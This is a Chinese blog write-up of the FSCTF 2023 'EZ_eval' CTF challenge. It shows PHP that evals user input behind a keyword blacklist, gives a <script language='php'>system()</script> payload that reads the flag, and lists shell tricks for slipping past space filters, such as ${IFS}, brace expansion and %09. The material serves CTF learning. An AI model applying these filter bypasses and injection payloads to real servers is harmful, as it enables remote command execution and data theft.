NSS 1

[FSCTF 2023]EZ_eval
第一次遇到这个类型问题,记录一下

 <?php
    if(isset($_GET['word'])){
    $word = $_GET['word'];
    if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
       die("nonono.");
    }
    $word = str_replace("?", "", $word);
    eval("?>". $word);
}else{
    highlight_file(__FILE__);
}


过滤关键词可以使用转义字符绕过正则(或者是引号闭合绕过)即可,但是下面的使用了?>进行了闭合,所以rce执行的语句并不在程序内,并且还对?进行了过滤,所以就无法使用<?
为了实现php代码的执行,可以使用<script>标签进行绕过
<script language="php">system('ls'); </script>
所以这道题的payload是?word=<script%0alanguage='php'>system('ca\t${IFS}/fla\g');</script>
但是正则中对空格进行了过滤,需要进行绕过,这里有一个点我之前没有注意,对于空格绕过,我只是收集了空格的各种绕过方法${IFS}``%0a``$IFS``<>等等,却没有注意何地适用(这里指的是放入HTML中执行的不应该使用${IFS}等在shell中才能被正确解释的命令),这里做个笔记。
$IFS变量是shell中的变量,表示的是Linux下的分隔符号,在bashshell variables可以查到man bash$IFS的默认值为空白(空格、换行、制表格),多个连续的空白会被当成一个IFS处理。
这里记录一下收集学习到的各种空格绕过的方法还有原理:

  1. ${IFS}

同理,花括号扩展

  1. $IFS$9

9catIFS$9flag.txt第九个参数是一个空字符串,所以可以被bash解释为cat flag.txt`

  1. $IFS

可以用来表示空格

  1. $IFS$1
  2. {cat,flag.txt}

利用了花括号展开,花括号{}可以用来指定一个或多个可选的字符串,这些字符串以逗号分隔,可以利用花括号展开生成一系列字符串的组合,所以可以利用花括号展开生成一组类似的命令行参数,比如这条命令,会展开为cat flag.txt两个参数,然后传递到命令执行。
要注意花括号展开是再shell中进行的。

  1. <``cat<flag.txt

输出重定向,将文件flag.txt的内容作为cat的输入,cat用于连接文件并输出他们的内容,<可以将文件内容传给命令并且输出,有什么区别?cat flag.txt会先打开flag.txt 内容并输出到终端,而cat < flag.txt先将文件内容输入给catcat就不用再打开文件,可以直接输出到终端。

  1. <>

用来打开文件,并将内容输出到标准,但只在bash中有效

  1. %20

URL编码中表示空格的方式

  1. %0a

url编码后的换行符,在shell和html中同样使用,换行并不会改变代码的完整性

  1. %09

%09是url编码的制表符Tab,一个制表使用2个或4个空格进行缩进,在bash中连续的空格被视为一个空格,所以可以用来绕过空格

  1. kg=$'\x20flag.txt'&&cat$kg

\x20是utf-8编码的空格,将变量赋值,再使用命令进行执行

个人理解,有不对请指出。

posted @   crayon's  阅读(23)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
点击右上角即可分享
微信分享提示